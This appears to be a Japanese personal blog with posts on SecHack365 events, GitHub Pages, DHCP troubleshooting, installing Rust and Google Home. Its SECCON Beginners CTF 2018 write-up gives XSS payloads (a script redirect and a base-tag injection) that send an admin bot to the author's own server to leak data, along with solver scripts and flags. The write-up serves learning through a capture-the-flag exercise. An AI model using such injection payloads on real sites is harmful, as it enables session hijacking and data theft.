banbanの備忘録

あったことを適当に書き残します

SecHack365 北海道回の参加メモ

SecHack365北海道回

2018/6/29 〜 7/1 に北海道で開催されたSecHack365北海道回に参加しました。
簡単にまとめます。

1日目

さくらインターネット様の石狩データセンターを見学してきました。
石狩データセンターでは、外気を取り入れた冷却電力削減や排熱のロードヒーティングへの利用など 環境を利用(環境のことを考えた?)試みがたくさんされているデータセンターでした。 データセンター内はとてもきれいで、イメージしていたデータセンタって感じじゃなかったです。

2〜3日目

この日から北海道回って感じでした。
イデア発想法や縁日など色々な企画が用意されていました。
特に縁日の企画は楽しかったので、少し以下でまとめます。

縁日

参加した縁日は
「ネットワークハッキング ~自由を手に入れよう!誰でもできるネットワークすり抜け術~」と
Raspberry PIルータで体験するインターネットの仕組み+ネットワーク講義」
でした。

ネットワークハッキング

様々な条件があるネットワークから、外部とHTTPの通信がしたい!って内容でした。

例えば、プロキシ経由でしか外部にHTTP通信できない環境で、プロキシに通信内容を見られたくない!!みたいな場合です。
これは簡単で、sshのポートフォワーディングを使う方法でした。(これはもとから知ってた)

個人的にはこれ以降が面白かったです。 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、ICMP通信は可能な環境」や 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、DNS(53/TCP、53/UDP)は可能な環境」な環境などです。

HTTPもSSHも無理なら外部とのHTTP通信なんて無理じゃね?って思いますが、なんと通信できます!
方法は、両方ともに同じ考え方です。
ICMP(Ping)やDNS(名前解決)のパケットのPayload部(?)に空きがあるらしいです。ここに必要なパケットを分割して詰め込み通信を行うとのこと。
実際にやってみましたが、考えた人すごいですね...。あとすごい悪用できそうですね...。(もちろん悪用は厳禁です!!)
なお、事前準備が少し必要なので、いつでも可能ってわけではなさそうです。

Raspberry PIルータ体験

実際にRaspiをつかって、複数のRaspi間の通信とRaspi下にPCと通信してみるっていうハンズオンでした。
最近、NW系機器を触る機会が多かったので、実際に手を動かして1からRouting Tableを作るっていうのは、大変ですが仕組みをよく理解できてよかったです。 こう考えると、NW系の機器はかなり簡単に設定ができるようになっていて便利ですね。改めて実感しました。
最近、検証用のNW機器が欲しい欲がさらに高まりました。お金溜まったら買いますかね。

まとめ

雑な文章でしたが、一応の北海道回まとめでした。 時間できたら文章をアップデートします。

初北海道でしたが、気候が最The高でした。夏だけ北海道に住みたい...。

GitHub pagesを作ってみた

興味があったので、GitHub pagesを作ってみました。

GitHub pagesとは?

GitHubが提供するホスティングサービスで、ウェブページをインターネット上に公開することができます。
自分のGitHubリポジトリに静的ファイル(HTML、CSS、JS)を配置することで、「https://{username}.github.io」というアドレスで ホームページやポートフォリオサイトを作ることができるサービスです。

ポートフォリオサイトあると便利だよな〜(使い道ないけど)と何度か考えたことがあったので今回作ってみました。

作り方

ググれば出てきます

  1. リポジトリをまず作りましょう。リポジトリ名は「{username}.github.io」で必ず作ってください。{username}は、全部小文字で大丈夫そうです。
  2. そこに静的ファイル群をアップ

これで、完了です。(簡単!!)

ページが作れているか気になる場合は、URLにアクセスしてもいいですし、「setting」を開きページを下にスクロールするとページのURLが表示されています。

作ったサイトは以下になります。
https://yuyaban.github.io/

なお、CSSやJSは雰囲気しか理解していないので、便利なテンプレートを利用して作りました。
pure というCSSのレスポンシブテンプレートです。JSは一切使いません。

興味ある方も、無料なので作ってみてはどうでしょう?

以上です。

SECCON Beginners CTF 2018のwriteup

SECCON Beginners CTF 2018に挑戦しました。 チームGuardPenguinで参加しました。

せっかくなので、writeupというのを書いてみます。
といっても、情報危機管理コンテストに参加していたのでちゃんと問題解き始めたのは土曜日の夕方以降…
夕方までに他のチームメンバに解かれてしまっていました。
というわけで、自分の解いた問題だけでも載せておきます。
(危機管理コンテストについては後日まとめて書きます。)

てけいさんえくすとりーむず

やるだけでした。

import socket
import time

msg_list = []
msg = ''

host = "tekeisan-ekusutoriim.chall.beginners.seccon.jp"
port = 8690
server_address = (host, 6789)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print('Connect Success!!')

for _ in range(1000):
    msg = s.recv(4096).decode()
    msg_list = msg.split('\n')

    for m in msg_list:
        print(m)

    q = "".join(msg_list[-1].split(' ')[:3])
    ans = str(eval(q)) + '\n'
    print('{}'.format(ans),end="")
    s.send(ans.encode())

encode問題でつまりましたが、なんとかSolve。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

imgファイルが渡されるのでそれを解析する問題。 まずはfileコマンド。Diskイメージっぽい。マウントできそう。

root@ubuntu:~# file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors

つづいて、binwalkで中に色々なファイルがみえるので、展開してみた。

root@ubuntu:~# binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

root@ubuntu:~# binwalk --dd=".*" disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

展開したPDFファイル(展開後は 940400 というファイル名)の拡張子をちゃんとPDFに変えると開けた。 中身は disk_image_for3nsics} FLAGの末尾っぽい。

次に dis.img のマウント

root@ubuntu:~# parted
GNU Parted 3.2
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) u                                                                
Unit?  [compact]? B                                                       
(parted) print                                                            
Model: ATA Ubuntu Linux 16. (scsi)
Disk /dev/sda: 68719476736B
Sector size (logical/physical): 512B/4096B
Partition Table: msdos
Disk Flags: 

Number  Start         End           Size          Type      File system     Flags
 1      1048576B      67645734911B  67644686336B  primary   ext4            boot
 2      67646782464B  68718428159B  1071645696B   extended
 5      67646783488B  68718428159B  1071644672B   logical   linux-swap(v1)

(parted) q 

root@ubuntu:~# mount -t ext4 -o loop,rw,offset=1048576 disk.img ~/img/
root@ubuntu:~# tree img/
img/
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   ├── message_2_of_3.png
│   └── output
│       └── audit.txt
└── message3

message_*_of_3 が2つありますね。これで、さっきのPDFが message_3_of_3 だと予想。他2つからフラグが取れないか調査します。
message_1_of_3.txtはそのまま読めました。 ctf4b{y0u_t0uched でした。
message_2_of_3.txtpngっぽいのですが、壊れてて開けません。
どうしようか悩んでいたところ、他のメンバが
「バイナリの先頭ヘッダが書き換えられていたので治した」とのコメントが
開けたファイルには _a_part_0f と書いてありました。
つなげればFLAG ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics} をゲット

Gimme your comment

Webの問題。
新規投稿の本文内でXSSが発火。
XSSを利用して、管理者を別ページへリダイレクトさせることを狙う。
<script>location.href='http://(自分のサーバIP)”; </script> で管理者が自分のサーバにアクセスしてくるので、apacheのログから管理者の user agent を確認できる。

FLAG ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

先程の問題では存在した、本文内でのJavascript発火が防がれていた。
でも HTMLタグ系は動くっぽい。

最初は <form ~ のボタンを騙して、リダイレクトを狙っていたが上手く動かず…
(上手く動いている人もいる模様…)

他の方法ということで、上手くいったのが <base> タグを利用する方法。
<base href='http://(自分のサーバIP)' /> とすることで、管理者がページ内のコメント投稿ボタンを押すと
http://(自分のサーバIP)/comment に飛ばされる。
これで、さきほどと同様にuser agentを確認できる

FLAG ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Message from the future

これはわずかに時間が足りずに提出できなかった問題。 Message_from_the_future という実行ファイルが渡される。 この実行ファイルで暗号化した文字列も与えられており、これを復号する問題である。

この実行ファイルは、引数に指定した文字列を暗号化しているようだ。

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future a
4f
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future ab
4f5b

一文字が二文字に置換されている。これは、一定のようだ。
(最初はそう思っていたのだ…)

「じゃあ、総当たりで解けるんじゃん!」 と思って、プログラムを書き、総当たりするが、暗号化された文字列と一致しない…

時間を置いて、いろいろ調べてみるとどうやら時間を使っているらしい。
確かに、Linuxの時間を変えて実行すれば値が変わる。 問題文に「2020年から〜」とある。じゃあ2020年に変えてみよう。月も影響してるっぽいから変えてみよう。
フラグは ctf4b から始まるため、これを実行ファイルに与えたときに与えられた文字列と一致する年月を探す。
2020年の8月が一致した。
あとは、最初やったとおり総当たり。
以下がプログラム
(※date -s '2020/08/01 12:00:00'で時計が1秒程度しか固定できなかったので、ちょっと無理やりなコードになっています(笑))

import subprocess

debug = 0

crypt = b'0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759'
src = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?'
print(src)

length = int(len(crypt)/2)
flag=''
tmp_flag =''

commands =['./Message_from_the_future','']
datecommand = ['date','-s','2020/08/08 13:00:00']

for i in range(length):
    if debug == 1: print('[+] next:{}'.format(flag))
    subprocess.call(datecommand)
    print(subprocess.check_output('date'))
    print('------------------------------------------')
    for k in range(len(src)):
        tmp_flag = flag + src[k]
        #commands = './Message_from_the_future'+' '+tmp_flag
        commands[1] = tmp_flag
        if debug == 1: print('[+] now command:{}'.format(commands))
        msg = subprocess.check_output(commands)
        if debug == 1: print('[+] match? [{}][{}]'.format(msg[(i*2):(i*2)+2],crypt[(i*2):(i*2)+2]))
        if msg[(i*2):(i*2)+2] == crypt[(i*2):(i*2)+2]:
            print('[*] match!!')
            print('------------------------------------------')
            print('[*] now flag:{}'.format(tmp_flag))
            flag = tmp_flag
            break
        if src[k] == "?":
            print('------------------------------------------')
            print('[-] missed...')
            flag = tmp_flag
            break
print(flag)

実行結果

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# python decrypt_solver.py 
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:c
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ct
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

〜〜〜(略)〜〜〜〜〜
------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

FLAG ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

SecHack365 神奈川回の参加メモ

SecHack365という一年を通じて行うセキュリティハッカソンに参加することになりました!!
その第一回が先日有りましたので、やったことを備忘録的に残しておきます

SecHack365とは?

そもそもSecHack365を知らない人は以下のリンクを見てください。

sechack365.nict.go.jp

昨年から始まり、今年で二回目だそうです。
倍率も6.9倍とかなり高かったようで、自分が採用されたのはラッキー枠かユーモア枠か何かでしょう。
でも、採用されたからには一年間しっかり楽しんで、成長したいと思います。

第一回オフラインイベント 神奈川回

Day1

初日は、お昼過ぎに集合して顔合わせを行いました。

岡山から向かったので、朝の起床がそこそこ早く辛かった…
眠かったのですが、神奈川回で使用するスライドが未完成だったため新幹線の中で作成をしていました。

とりあえず、遅刻せずに会場には到着。
初日は、トレーナーの方からのSecHack365の説明と顔合わせがありました。
(SecHack365では、受講者をトレーニー、アドバイスをくれる先生方をトレーナーと呼びます)
また、初回と言うことで、マンダラートを作りSecHack365の目標(?)を立てたりもしました。
マンダラートは大谷翔平で有名だったので、知っていたのですが、いざ自分で書くとなると81マス埋めるのは結構たいへんでした。

夜は、懇親会があってご飯やミニゲームを楽しみました。

夜にお部屋にGが出たのはまた別の話…

Day2

午前のアイデアソンでは、応募時に書いていた「開発したいもの」をトレーニー同士で説明しあいました。
他の人の作りたいモノを聞くと、かなり高度な内容を提案されていて「やっぱすごい人が多いなぁ」と感じました。
ちなみに自分は、ペンテストを学習できるプラットフォームを提案しました。

www.instagram.com

自分、映ってる…

午後からは、コースワークです。
私は表現駆動コースで採用されているので、表現の方々とコースワークしました。
発表5分 + 質疑10分で自分の開発したいテーマについてプレゼンしました。
かなり早口オタクになりましたが、十分伝えられたと思います。

特にNICTさんはサイバーレンジ事業にも関わってらっしゃるので、内容的に近い僕のテーマでは、かなりお力を借りられそうな意見をいただきました。
ただし、自分のテーマとほぼおなじことができるCYDERRANGEというのを計画しているらしく「あ、オワタ…」と一瞬なりましたが、様々な案をいただけたのでとりあえず、当分はできる範囲で価値を考えていきたい思います。

CyderRangeの記事はこちら
サイバー演習自動化システム“CYDERANGE”の開発と実運用の開始 | NICT-情報通信研究機構

夜は、NightChallengeという、グループで何か作ってみよう!という課題が出されました。
作るものの候補はいくつか示されていて、私達のチームは「俳句の自動生成」に挑戦しました。

一番ハッカソンぽかったです。

私達のチームは、必ず季語をひとつ入れて、残りは、名詞、助詞、動詞を文法的に合ってるように組み合わせる方法を取りました。
なお、品詞それぞれのデータベースを作るのには、形態素解析がきでる「MeCab」を利用しました。

なお、ネタとして「-m」の下の句が必ず最上川になる最上川オプションと「-h」の上の句が必ずほととぎすになるほととぎすオプションを作りました。

出来た俳句は、以下のようなモノ
* サイにより つきあう荒れ地 最上川
* ホトトギス 至る脅威 フルとして

なんとなく、最上川にすると意味は分からないが締まりが良くなる気がします。

Day3

午前はコースワークの続きでした。
NightChallengeで各班が作ったものを発表しました。
どの班も、ただのHello worldFizzBuzzのプログラムなのに、すごく凝っていました。
中には変態プロもいました。

俳句の自動生成の班は幾つかあり、それぞれ様々な方法で実現していました。
個人的には「JPOPの歌詞から俳句を生成する」というやつが気に入りました。
それっぽい俳句が多く生成されていました。

午後からは個活でした。
自分は、SecHackで用意されているBacklogのWikiや個人ページの作成と
ひとまずペンテストできる環境を作るために攻撃シナリオを考えていました。

これにて、SecHack365 神奈川回は終わりです。
次回は北海道回です。
次回まで約40日あるらしいので、それまでに何かしらの進捗を生みたいと思います。

以上

おまけ

帰りに横須賀に寄って食べたカレーが美味しかったです。
あと、かわいい店員さんが可愛い制服来てて最高でした。
また行きたいです。

以上(2回目)

バイト先のWi-Fiルータから192.168.Y.Xが振ってこないのを解決した話

バイト先で、ネットに繋がらない!! と言われ、解決したのでやったこととを備忘録的にまとめる。
※やってることは初歩的な内容ダヨ

バイト先について

私のバイト先は、Microsoft Officeの使い方を教えるいわゆるパソコン教室である。
MSOfficeがある程度使えれば良いので、その他のPC知識に詳しくない人でも働ける。

2つの教室にはWi-Fiが飛んでおり、別部屋に設置してあるRTX1200から各教室にLANケーブルが引かれている。

以下のような感じ

[Internet] -- [RTX1200]  -- [Wi-Fiルータ1] or [Wi-Fiルータ2] ・・・

RTX1200は、192.168.Y.1/24をDHCPで割り振るように設定してある。 つまり、Wi-Fiルータに接続した端末には192.168.Y.4~254 が割り振られる。 (Y.1はRTX1200、Y.2, 3はWi-Fiルータに割り当て)

発生したインシデント

その日は、スタッフが集まるミーティング的な日(PC教室の授業とは別に集まる機会がある)。 自分が到着したのは、ほとんど最後の方だった。
自分が到着すると

A「banbanさん!ネット繋がらないんです!」
banban「???」

3日前に自分がPC教室で生徒に教えていたときは、自分も生徒も繋がっていた。
Aのパソコンの調子が悪いだけだと思っていたのだが、半分ぐらいの人がつながっていない。
一方で残り半分は普通に繋がっている。

さて、繋がっている人がいるのに、繋がっていない人もいる。
さて、なーんでだ?

という、インシデントでした。

解決方法

繋がっている人のPCには、正しく 192.168.Y.Xというアドレスが振られていた。
つながっていない人のPCを確認すると、169.254.Y.Xというアドレスが振られていた。

調べてみると、169.254.Y.X というアドレスは、DHCPが上手く割り当てられなかった時にパソコンが自身で割り当てるリンクローカルアドレスと言うものらしい。
つまり、DHCPに問題があることがわかる。
(この時点で、原因の予想がたつ)

RTX1200がDHCPを割り振っているためGUIで様子を確認。
すると、DHCP割り振り済み端末の数が245となっている...
(やっぱり)ほぼアドレス枯渇してるぅぅ!!

しかし、その時その場にいる人間の数を考慮してもそんな数のデバイスがあるとは思えない。
つまり、現在ここにはいないデバイスに割り振っているわけだ。

DHCPのリース期間の設定を確認する。
リース時間: 72時間
…3日!?

ということで、原因はここ三日間でWi-Fiに繋いだ生徒達のPCにアドレスをリースしっぱなしだからでした。

リース時間を72時間から3時間(授業が大体2時間なため)に変更することで、3時間より前にリースされていたアドレスは解放され、上手く接続できていなかったPCに割り振られ直しました。
ちなみに、一部の繋がっていた人(自分含め)は、ここ3日間以内にここのWi-Fiに一度でも繋いだことのあるPCでした。

まとめ

RTX1200のデフォルトのリース時間は72時間らしいです。つまり、デフォルトのままだったのが原因だったんですね。
先週にRTX1200の設定を少しいじった人がいたようで、その時にデフォルトに戻ってしまったのでしょうね。

DHCPのアドレス枯渇は、こういった多くの人(生徒数600人ぐらい)が繋ぐWi-Fi環境ならではなインシデントな気がします。
リース時間にも十分気を使ったほうが良いということですね。
※素人の解決方法なので、こうした方が良いよ!とかあれば、ご指導ください。

以上

MacにRustをインストールして入門してみた

 お久しぶりです。banbanです。 タイトルの通り、Rust環境をMacにインストールしたので、備忘録的に残します。

Rustとは?

私が参考にした「プログラミング言語Rust」によると

Rustは安全性、速度、並行性の3つのゴールにフォーカスしたシステムプログラミング言語です。

らしいです。 もともと「メモリ安全な言語だよ〜(曖昧)」という風に聞いていて、興味がありました。 今回は、これをインストールして「Hello world!」までを試してみました。

インストール

まずは、Rustのコンパイラをインストールする必要があります。

curl https://sh.rustup.rs -sSf | sh

これでインストールが始まります。とっても簡単!!
途中、一度だけ以下のような選択を求められます。

Current installation options:

   default host triple: x86_64-apple-darwin
     default toolchain: stable
  modify PATH variable: yes

1) Proceed with installation (default)
2) Customize installation
3) Cancel installation

Customizeとかよくわからないので、ここでは 1) を選択しました。
 インストールが完了すると以下のような表示がされます

// (略)

  stable installed - rustc 1.25.0 (84203cac6 2018-03-25)


Rust is installed now. Great!

To get started you need Cargo's bin directory ($HOME/.cargo/bin) in your PATH 
environment variable. Next time you log in this will be done automatically.

To configure your current shell run source $HOME/.cargo/env

とりあえずインストールできたみたいです。
一応、最後に To configure your current shell run source $HOME/.cargo/env と言われているので source $HOME/.cargo/env をそのままコピペして叩いておきます。
こうしないと、Rustをコンパイルする rustc コマンドが使えないですからね。

次は、初修言語と言えばやっぱり「Hello, World!」ですよね。 やっていきます。

Hello, World! やってみた。

はい、というわけで プログラムは、参考サイトから引っ張ってきた以下のコード

fn main() {
    println!("Hello, world!");
}

これを、hello_world.rs.rs 拡張子で保存 → コンパイル → 実行 をしてみたいと思います。 以下が叩いたコマンド

$ rustc hello_world.rs 
$ ls
hello_world hello_world.rs
$ ./hello_world 
Hello, world!

まあ、失敗する要素内ですもんね。 上手くいきました!!

これで、Rustを勉強するための環境が整ったので、これからRustでなにかしらプログラムを書いていこうと思います。

自分は、よく初修言語を学ぶために、CLIの電卓を作ります。なのでRustでもやってみようかなと思っています。 電卓は、数値計算や文字列出力、文字列入力(オプションの機能)など色々使うので、基本を学ぶための良いプログラミング題材だと思っています。

では、また進捗が出たら報告いたします。

以上

参考サイト:

プログラミング言語Rust

Google Home開発してみたい!! #1

お久しぶりです。
前の記事からだいぶ時間が経ってしまいましたが、やっていきたいと思います。

0. GoogleHomeをもっと使いたい

昨年末にGoogleHomeが半額セールしていたので、衝動買いしてしまいました。

実際、買ってからも便利に使っていました。
例えば「ねえGoogleBluetoothオン」と言えば、スマホとつながってくれるので音楽聞いたりできますし、「タイマー3分」と言えば、3分測ってくれます。カップ麺にお湯入れたことを忘れて、別のことに集中してしまうこともなくなりました。

それから、しばらく経って...

GoogleHome買ったのに、有効活用出来てないのでは!?

と思い始めました。
というわけで、GoogleHomeで色々やってみたいと思います。(前置きが長い)

 

1. 開発ってなにからすれば良いの?

 これまで、なにかしたかったらPythonで適当にヤッていた僕。
Google先生に「GoogleHome Python 開発」と尋ねてみます。
記事はいくつか出てきますが、以下の2ワードがよく出てくる。

・Node.js
google-home-notifier

なにやらGoogleHome開発にはNode.jsの "google-home-notifier"という、便利なライブラリを使うのが一般的なよう。
というわけで、Node.jsで色々やってみることにします。
 

2. 環境準備

Node.jsとgoogle-home-notifierを準備しましょう。
適当にググれば出てきます。
とりあえず、作業用フォルダ作って、 npmで必要そうなのをインストールしておきます。
 

3. とりあえずやってみよう

環境の準備も出来たので、とりあえずサンプルコード的なやつを動かしてみます。

GitHub - noelportugal/google-home-notifier: Send notifications to Google Home

上記のサンプル的なコードを書き換えて動かしてみましょう。
喋ります。 以上。
とりあえず、好きな言葉を喋らせられるだけですが、色々とできそうな事の想像が膨らみますね!!
こういう瞬間がとても楽しいです。
 

4. 何か作る

しかし、ここで気づきました。

JavaScript書いたことなくね?」

そうです。恥ずかしながら、JSを読む機会はたまにあれど、一から書いたことはほぼ無いのです。また、調べるとNode.jsにはNode.js的な書き方がいくつかある模様。
というわけで、とりあえずJS(Node.js)の勉強でもしながらやっていきたいと思います。
 

しばらくの目標は、使ってないRaspberryPiがあるので、連携して何かできたらなぁと考えています。
 

※ タイトルに「#1」とありますが、続くかは未定です。